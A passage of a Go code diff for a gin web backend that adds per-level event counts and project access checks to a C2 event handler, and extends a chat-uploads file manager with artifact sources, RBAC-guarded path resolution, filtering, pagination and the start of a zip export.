@@ -832,11 +900,17 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
|
|||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
levelCounts, err := h.mgr().DB().CountC2EventsByLevelForAccess(filter, access)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"events": events,
|
"events": events,
|
||||||
"total": total,
|
"total": total,
|
||||||
"page": page,
|
"level_counts": levelCounts,
|
||||||
"page_size": pageSize,
|
"page": page,
|
||||||
|
"page_size": pageSize,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1115,6 +1189,21 @@ func c2AccessFromContext(c *gin.Context) database.RBACListAccess {
|
|||||||
return database.RBACListAccess{UserID: session.UserID, Scope: session.Scope}
|
return database.RBACListAccess{UserID: session.UserID, Scope: session.Scope}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *C2Handler) canAccessProject(c *gin.Context, projectID string) bool {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
session, ok := security.CurrentSession(c)
|
||||||
|
if !ok {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if session.Scope == database.RBACScopeAll {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return h.mgr().DB().UserCanAccessResource(session.UserID, session.Scope, "project", projectID)
|
||||||
|
}
|
||||||
|
|
||||||
func (h *C2Handler) c2ResourceAllowed(c *gin.Context, resourceType, resourceID string) bool {
|
func (h *C2Handler) c2ResourceAllowed(c *gin.Context, resourceType, resourceID string) bool {
|
||||||
session, ok := security.CurrentSession(c)
|
session, ok := security.CurrentSession(c)
|
||||||
if !ok {
|
if !ok {
|
||||||
|
|||||||
@@ -1,13 +1,17 @@
|
|||||||
package handler
|
package handler
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"archive/zip"
|
||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"mime"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"sort"
|
"sort"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
@@ -21,8 +25,15 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
chatUploadsRootDirName = "chat_uploads"
|
chatUploadsRootDirName = "chat_uploads"
|
||||||
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
|
reductionRootDirName = "tmp/reduction"
|
||||||
|
artifactsRootDirName = "data/conversation_artifacts"
|
||||||
|
reductionVirtualPrefix = "__reduction__/"
|
||||||
|
artifactVirtualPrefix = "__conversation_artifact__/"
|
||||||
|
chatUploadSourceUpload = "upload"
|
||||||
|
chatUploadSourceReduction = "reduction"
|
||||||
|
chatUploadSourceConversation = "conversation_artifact"
|
||||||
|
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
|
||||||
)
|
)
|
||||||
|
|
||||||
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
|
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
|
||||||
@@ -66,6 +77,64 @@ func (h *ChatUploadsHandler) pathAllowed(c *gin.Context, relativePath string) bo
|
|||||||
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", parts[1])
|
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", parts[1])
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) reductionPathAllowed(c *gin.Context, scope, id string) bool {
|
||||||
|
session, ok := security.CurrentSession(c)
|
||||||
|
if !ok || h.db == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if session.Scope == database.RBACScopeAll {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
switch scope {
|
||||||
|
case "conversations":
|
||||||
|
if id == "" || id == "default" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", id)
|
||||||
|
case "projects":
|
||||||
|
if id == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return h.db.UserCanAccessResource(session.UserID, session.Scope, "project", id)
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) reductionVirtualPathAllowed(c *gin.Context, relativePath string) bool {
|
||||||
|
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
|
||||||
|
parts := strings.Split(filepath.ToSlash(rel), "/")
|
||||||
|
if len(parts) < 2 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return h.reductionPathAllowed(c, parts[0], parts[1])
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) conversationArtifactPathAllowed(c *gin.Context, conversationID string) bool {
|
||||||
|
session, ok := security.CurrentSession(c)
|
||||||
|
if !ok || h.db == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if session.Scope == database.RBACScopeAll {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
if conversationID == "" || conversationID == "default" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", conversationID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) conversationArtifactVirtualPathAllowed(c *gin.Context, relativePath string) bool {
|
||||||
|
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
|
||||||
|
parts := strings.Split(filepath.ToSlash(rel), "/")
|
||||||
|
if len(parts) < 1 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return h.conversationArtifactPathAllowed(c, parts[0])
|
||||||
|
}
|
||||||
|
|
||||||
func (h *ChatUploadsHandler) absRoot() (string, error) {
|
func (h *ChatUploadsHandler) absRoot() (string, error) {
|
||||||
cwd, err := os.Getwd()
|
cwd, err := os.Getwd()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -74,6 +143,46 @@ func (h *ChatUploadsHandler) absRoot() (string, error) {
|
|||||||
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
|
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) absReductionRoot() (string, error) {
|
||||||
|
if h.db != nil {
|
||||||
|
if base := strings.TrimSpace(h.db.EinoReductionBaseDir()); base != "" {
|
||||||
|
if filepath.IsAbs(base) {
|
||||||
|
return filepath.Abs(base)
|
||||||
|
}
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Abs(filepath.Join(cwd, base))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Abs(filepath.Join(cwd, reductionRootDirName))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) absConversationArtifactsRoot() (string, error) {
|
||||||
|
if h.db != nil {
|
||||||
|
if base := strings.TrimSpace(h.db.ConversationArtifactsBaseDir()); base != "" {
|
||||||
|
if filepath.IsAbs(base) {
|
||||||
|
return filepath.Abs(base)
|
||||||
|
}
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Abs(filepath.Join(cwd, base))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Abs(filepath.Join(cwd, artifactsRootDirName))
|
||||||
|
}
|
||||||
|
|
||||||
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
|
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
|
||||||
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
|
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
|
||||||
root, err := h.absRoot()
|
root, err := h.absRoot()
|
||||||
@@ -105,30 +214,44 @@ type ChatUploadFileItem struct {
|
|||||||
RelativePath string `json:"relativePath"`
|
RelativePath string `json:"relativePath"`
|
||||||
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
|
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
|
||||||
Name string `json:"name"`
|
Name string `json:"name"`
|
||||||
|
Source string `json:"source,omitempty"`
|
||||||
Size int64 `json:"size"`
|
Size int64 `json:"size"`
|
||||||
ModifiedUnix int64 `json:"modifiedUnix"`
|
ModifiedUnix int64 `json:"modifiedUnix"`
|
||||||
Date string `json:"date"`
|
Date string `json:"date"`
|
||||||
ConversationID string `json:"conversationId"`
|
ConversationID string `json:"conversationId"`
|
||||||
|
ProjectID string `json:"projectId,omitempty"`
|
||||||
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
|
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
|
||||||
SubPath string `json:"subPath"`
|
SubPath string `json:"subPath"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// List GET /api/chat-uploads
|
func (h *ChatUploadsHandler) conversationProjectID(conversationID string, cache map[string]string) string {
|
||||||
func (h *ChatUploadsHandler) List(c *gin.Context) {
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
if conversationID == "" || conversationID == "_manual" || conversationID == "_new" || h.db == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if v, ok := cache[conversationID]; ok {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
projectID, err := h.db.GetConversationProjectID(conversationID)
|
||||||
|
if err != nil {
|
||||||
|
projectID = ""
|
||||||
|
}
|
||||||
|
cache[conversationID] = projectID
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) collectFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, []string, error) {
|
||||||
root, err := h.absRoot()
|
root, err := h.absRoot()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
return nil, nil, err
|
||||||
return
|
|
||||||
}
|
}
|
||||||
// 保证根目录存在,否则「按文件夹」浏览时无法 mkdir,且首次列表为空时界面无路径工具栏
|
// 保证根目录存在,否则「按文件夹」浏览时无法 mkdir,且首次列表为空时界面无路径工具栏
|
||||||
if err := os.MkdirAll(root, 0755); err != nil {
|
if err := os.MkdirAll(root, 0755); err != nil {
|
||||||
h.logger.Warn("创建 chat_uploads 根目录失败", zap.Error(err))
|
return nil, nil, err
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
var files []ChatUploadFileItem
|
var files []ChatUploadFileItem
|
||||||
var folders []string
|
var folders []string
|
||||||
|
projectCache := make(map[string]string)
|
||||||
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
|
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
|
||||||
if walkErr != nil {
|
if walkErr != nil {
|
||||||
return walkErr
|
return walkErr
|
||||||
@@ -157,6 +280,7 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
|
|||||||
if len(parts) >= 3 {
|
if len(parts) >= 3 {
|
||||||
convID = parts[1]
|
convID = parts[1]
|
||||||
}
|
}
|
||||||
|
projectID := h.conversationProjectID(convID, projectCache)
|
||||||
var subPath string
|
var subPath string
|
||||||
if len(parts) >= 4 {
|
if len(parts) >= 4 {
|
||||||
subPath = strings.Join(parts[2:len(parts)-1], "/")
|
subPath = strings.Join(parts[2:len(parts)-1], "/")
|
||||||
@@ -164,29 +288,32 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
|
|||||||
if conversationFilter != "" && convID != conversationFilter {
|
if conversationFilter != "" && convID != conversationFilter {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
if projectFilter != "" && projectID != projectFilter {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
absPath, _ := filepath.Abs(path)
|
absPath, _ := filepath.Abs(path)
|
||||||
files = append(files, ChatUploadFileItem{
|
files = append(files, ChatUploadFileItem{
|
||||||
RelativePath: relSlash,
|
RelativePath: relSlash,
|
||||||
AbsolutePath: absPath,
|
AbsolutePath: absPath,
|
||||||
Name: d.Name(),
|
Name: d.Name(),
|
||||||
|
Source: chatUploadSourceUpload,
|
||||||
Size: info.Size(),
|
Size: info.Size(),
|
||||||
ModifiedUnix: info.ModTime().Unix(),
|
ModifiedUnix: info.ModTime().Unix(),
|
||||||
Date: dateStr,
|
Date: dateStr,
|
||||||
ConversationID: convID,
|
ConversationID: convID,
|
||||||
|
ProjectID: projectID,
|
||||||
SubPath: subPath,
|
SubPath: subPath,
|
||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
h.logger.Warn("列举对话附件失败", zap.Error(err))
|
return nil, nil, err
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
if conversationFilter != "" {
|
if conversationFilter != "" || projectFilter != "" {
|
||||||
filteredFolders := make([]string, 0, len(folders))
|
filteredFolders := make([]string, 0, len(folders))
|
||||||
for _, rel := range folders {
|
for _, rel := range folders {
|
||||||
parts := strings.Split(rel, "/")
|
parts := strings.Split(rel, "/")
|
||||||
if len(parts) >= 2 && parts[1] == conversationFilter {
|
if len(parts) >= 2 && (conversationFilter == "" || parts[1] == conversationFilter) && (projectFilter == "" || h.conversationProjectID(parts[1], projectCache) == projectFilter) {
|
||||||
filteredFolders = append(filteredFolders, rel)
|
filteredFolders = append(filteredFolders, rel)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -221,12 +348,480 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
|
|||||||
sort.Slice(files, func(i, j int) bool {
|
sort.Slice(files, func(i, j int) bool {
|
||||||
return files[i].ModifiedUnix > files[j].ModifiedUnix
|
return files[i].ModifiedUnix > files[j].ModifiedUnix
|
||||||
})
|
})
|
||||||
c.JSON(http.StatusOK, gin.H{"files": files, "folders": folders})
|
reductionFiles, err := h.collectReductionFiles(c, conversationFilter, projectFilter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("列举 reduction 产物失败", zap.Error(err))
|
||||||
|
} else if len(reductionFiles) > 0 {
|
||||||
|
files = append(files, reductionFiles...)
|
||||||
|
}
|
||||||
|
artifactFiles, err := h.collectConversationArtifactFiles(c, conversationFilter, projectFilter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("列举 conversation_artifacts 产物失败", zap.Error(err))
|
||||||
|
} else if len(artifactFiles) > 0 {
|
||||||
|
files = append(files, artifactFiles...)
|
||||||
|
}
|
||||||
|
sort.Slice(files, func(i, j int) bool {
|
||||||
|
return files[i].ModifiedUnix > files[j].ModifiedUnix
|
||||||
|
})
|
||||||
|
return files, folders, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) collectReductionFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
|
||||||
|
root, err := h.absReductionRoot()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if st, err := os.Stat(root); err != nil || !st.IsDir() {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
projectCache := make(map[string]string)
|
||||||
|
files := make([]ChatUploadFileItem, 0)
|
||||||
|
for _, scope := range []string{"conversations", "projects"} {
|
||||||
|
scopeRoot := filepath.Join(root, scope)
|
||||||
|
_ = filepath.WalkDir(scopeRoot, func(path string, d os.DirEntry, walkErr error) error {
|
||||||
|
if walkErr != nil || d == nil || d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
rel, err := filepath.Rel(root, path)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
relSlash := filepath.ToSlash(rel)
|
||||||
|
parts := strings.Split(relSlash, "/")
|
||||||
|
if len(parts) < 3 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
ownerID := parts[1]
|
||||||
|
if !h.reductionPathAllowed(c, scope, ownerID) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var convID, projectID string
|
||||||
|
if scope == "conversations" {
|
||||||
|
convID = ownerID
|
||||||
|
projectID = h.conversationProjectID(convID, projectCache)
|
||||||
|
} else {
|
||||||
|
projectID = ownerID
|
||||||
|
}
|
||||||
|
if conversationFilter != "" && convID != conversationFilter {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if projectFilter != "" && projectID != projectFilter {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
info, err := d.Info()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
name := d.Name()
|
||||||
|
if filepath.Ext(name) == "" {
|
||||||
|
name += ".txt"
|
||||||
|
}
|
||||||
|
abs, _ := filepath.Abs(path)
|
||||||
|
files = append(files, ChatUploadFileItem{
|
||||||
|
RelativePath: reductionVirtualPrefix + relSlash,
|
||||||
|
AbsolutePath: abs,
|
||||||
|
Name: name,
|
||||||
|
Source: chatUploadSourceReduction,
|
||||||
|
Size: info.Size(),
|
||||||
|
ModifiedUnix: info.ModTime().Unix(),
|
||||||
|
Date: info.ModTime().Format("2006-01-02"),
|
||||||
|
ConversationID: convID,
|
||||||
|
ProjectID: projectID,
|
||||||
|
SubPath: strings.Join(parts[2:len(parts)-1], "/"),
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return files, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) collectConversationArtifactFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
|
||||||
|
root, err := h.absConversationArtifactsRoot()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if st, err := os.Stat(root); err != nil || !st.IsDir() {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
projectCache := make(map[string]string)
|
||||||
|
files := make([]ChatUploadFileItem, 0)
|
||||||
|
_ = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
|
||||||
|
if walkErr != nil || d == nil || d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
rel, err := filepath.Rel(root, path)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
relSlash := filepath.ToSlash(rel)
|
||||||
|
parts := strings.Split(relSlash, "/")
|
||||||
|
if len(parts) < 2 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
convID := parts[0]
|
||||||
|
if !h.conversationArtifactPathAllowed(c, convID) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
projectID := h.conversationProjectID(convID, projectCache)
|
||||||
|
if conversationFilter != "" && convID != conversationFilter {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if projectFilter != "" && projectID != projectFilter {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
info, err := d.Info()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
name := d.Name()
|
||||||
|
if filepath.Ext(name) == "" {
|
||||||
|
name += ".txt"
|
||||||
|
}
|
||||||
|
abs, _ := filepath.Abs(path)
|
||||||
|
files = append(files, ChatUploadFileItem{
|
||||||
|
RelativePath: artifactVirtualPrefix + relSlash,
|
||||||
|
AbsolutePath: abs,
|
||||||
|
Name: name,
|
||||||
|
Source: chatUploadSourceConversation,
|
||||||
|
Size: info.Size(),
|
||||||
|
ModifiedUnix: info.ModTime().Unix(),
|
||||||
|
Date: info.ModTime().Format("2006-01-02"),
|
||||||
|
ConversationID: convID,
|
||||||
|
ProjectID: projectID,
|
||||||
|
SubPath: strings.Join(parts[1:len(parts)-1], "/"),
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
return files, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) resolveReductionVirtualPath(relativePath string) (string, error) {
|
||||||
|
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
|
||||||
|
rel = filepath.Clean(filepath.FromSlash(rel))
|
||||||
|
if rel == "." || strings.HasPrefix(rel, "..") {
|
||||||
|
return "", fmt.Errorf("invalid path")
|
||||||
|
}
|
||||||
|
root, err := h.absReductionRoot()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
full, err := filepath.Abs(filepath.Join(root, rel))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
rootAbs, _ := filepath.Abs(root)
|
||||||
|
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
|
||||||
|
return "", fmt.Errorf("path escapes reduction root")
|
||||||
|
}
|
||||||
|
return full, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) resolveConversationArtifactVirtualPath(relativePath string) (string, error) {
|
||||||
|
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
|
||||||
|
rel = filepath.Clean(filepath.FromSlash(rel))
|
||||||
|
if rel == "." || strings.HasPrefix(rel, "..") {
|
||||||
|
return "", fmt.Errorf("invalid path")
|
||||||
|
}
|
||||||
|
root, err := h.absConversationArtifactsRoot()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
full, err := filepath.Abs(filepath.Join(root, rel))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
rootAbs, _ := filepath.Abs(root)
|
||||||
|
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
|
||||||
|
return "", fmt.Errorf("path escapes conversation artifacts root")
|
||||||
|
}
|
||||||
|
return full, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func chatUploadItemIsInternal(item ChatUploadFileItem) bool {
|
||||||
|
return item.Source == chatUploadSourceReduction ||
|
||||||
|
item.Source == chatUploadSourceConversation ||
|
||||||
|
strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) ||
|
||||||
|
strings.HasPrefix(item.RelativePath, artifactVirtualPrefix)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ChatUploadsHandler) resolveListedFilePath(item ChatUploadFileItem) (string, error) {
|
||||||
|
switch {
|
||||||
|
case item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix):
|
||||||
|
return h.resolveReductionVirtualPath(item.RelativePath)
|
||||||
|
case item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix):
|
||||||
|
return h.resolveConversationArtifactVirtualPath(item.RelativePath)
|
||||||
|
default:
|
||||||
|
return h.resolveUnderChatUploads(item.RelativePath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func chatUploadSourceMatches(item ChatUploadFileItem, sourceFilter string) bool {
|
||||||
|
sourceFilter = strings.TrimSpace(sourceFilter)
|
||||||
|
if sourceFilter == "" || sourceFilter == "all" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
source := strings.TrimSpace(item.Source)
|
||||||
|
if source == "" {
|
||||||
|
source = chatUploadSourceUpload
|
||||||
|
}
|
||||||
|
return source == sourceFilter
|
||||||
|
}
|
||||||
|
|
||||||
|
func chatUploadSearchMatches(item ChatUploadFileItem, search string) bool {
|
||||||
|
search = strings.ToLower(strings.TrimSpace(search))
|
||||||
|
if search == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
values := []string{
|
||||||
|
item.RelativePath,
|
||||||
|
item.Name,
|
||||||
|
item.Source,
|
||||||
|
item.Date,
|
||||||
|
item.ConversationID,
|
||||||
|
item.ProjectID,
|
||||||
|
item.SubPath,
|
||||||
|
}
|
||||||
|
for _, value := range values {
|
||||||
|
if strings.Contains(strings.ToLower(value), search) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterChatUploadItems(files []ChatUploadFileItem, sourceFilter, search string) []ChatUploadFileItem {
|
||||||
|
if strings.TrimSpace(sourceFilter) == "" && strings.TrimSpace(search) == "" {
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
out := make([]ChatUploadFileItem, 0, len(files))
|
||||||
|
for _, item := range files {
|
||||||
|
if chatUploadSourceMatches(item, sourceFilter) && chatUploadSearchMatches(item, search) {
|
||||||
|
out = append(out, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func parsePositiveIntQuery(c *gin.Context, key string, def, max int) int {
|
||||||
|
raw := strings.TrimSpace(c.Query(key))
|
||||||
|
if raw == "" {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
if strings.EqualFold(raw, "all") {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
n, err := strconv.Atoi(raw)
|
||||||
|
if err != nil || n <= 0 {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
if max > 0 && n > max {
|
||||||
|
return max
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
|
||||||
|
func paginateChatUploadItems(files []ChatUploadFileItem, page, pageSize int) []ChatUploadFileItem {
|
||||||
|
if pageSize <= 0 {
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
if page <= 0 {
|
||||||
|
page = 1
|
||||||
|
}
|
||||||
|
start := (page - 1) * pageSize
|
||||||
|
if start >= len(files) {
|
||||||
|
return []ChatUploadFileItem{}
|
||||||
|
}
|
||||||
|
end := start + pageSize
|
||||||
|
if end > len(files) {
|
||||||
|
end = len(files)
|
||||||
|
}
|
||||||
|
return files[start:end]
|
||||||
|
}
|
||||||
|
|
||||||
|
// List GET /api/chat-uploads
|
||||||
|
func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||||
|
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
||||||
|
projectFilter := strings.TrimSpace(c.Query("project"))
|
||||||
|
sourceFilter := strings.TrimSpace(c.Query("source"))
|
||||||
|
search := strings.TrimSpace(c.Query("search"))
|
||||||
|
page := parsePositiveIntQuery(c, "page", 1, 0)
|
||||||
|
pageSize := parsePositiveIntQuery(c, "pageSize", 20, 200)
|
||||||
|
files, folders, err := h.collectFiles(c, conversationFilter, projectFilter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("列举对话附件失败", zap.Error(err))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
files = filterChatUploadItems(files, sourceFilter, search)
|
||||||
|
total := len(files)
|
||||||
|
paged := paginateChatUploadItems(files, page, pageSize)
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"files": paged,
|
||||||
|
"folders": folders,
|
||||||
|
"total": total,
|
||||||
|
"page": page,
|
||||||
|
"pageSize": pageSize,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Export GET /api/chat-uploads/export?conversation=...&project=...
|
||||||
|
func (h *ChatUploadsHandler) Export(c *gin.Context) {
|
||||||
|
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
||||||
|
projectFilter := strings.TrimSpace(c.Query("project"))
|
||||||
|
sourceFilter := strings.TrimSpace(c.Query("source"))
|
||||||
|
search := strings.TrimSpace(c.Query("search"))
|
||||||
|
files, _, err := h.collectFiles(c, conversationFilter, projectFilter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Warn("导出对话附件失败", zap.Error(err))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
files = filterChatUploadItems(files, sourceFilter, search)
|
||||||
|
if len(files) == 0 {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "no files to export"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
nameParts := []string{"chat-files"}
|
||||||
|
if projectFilter != "" {
|
||||||
|
nameParts = append(nameParts, "project-"+projectFilter)
|
||||||
|
}
|
||||||
|
if conversationFilter != "" {
|
||||||
|
nameParts = append(nameParts, "conversation-"+conversationFilter)
|
||||||
|
}
|
||||||
|
nameParts = append(nameParts, time.Now().Format("20060102-150405"))
|
||||||
|
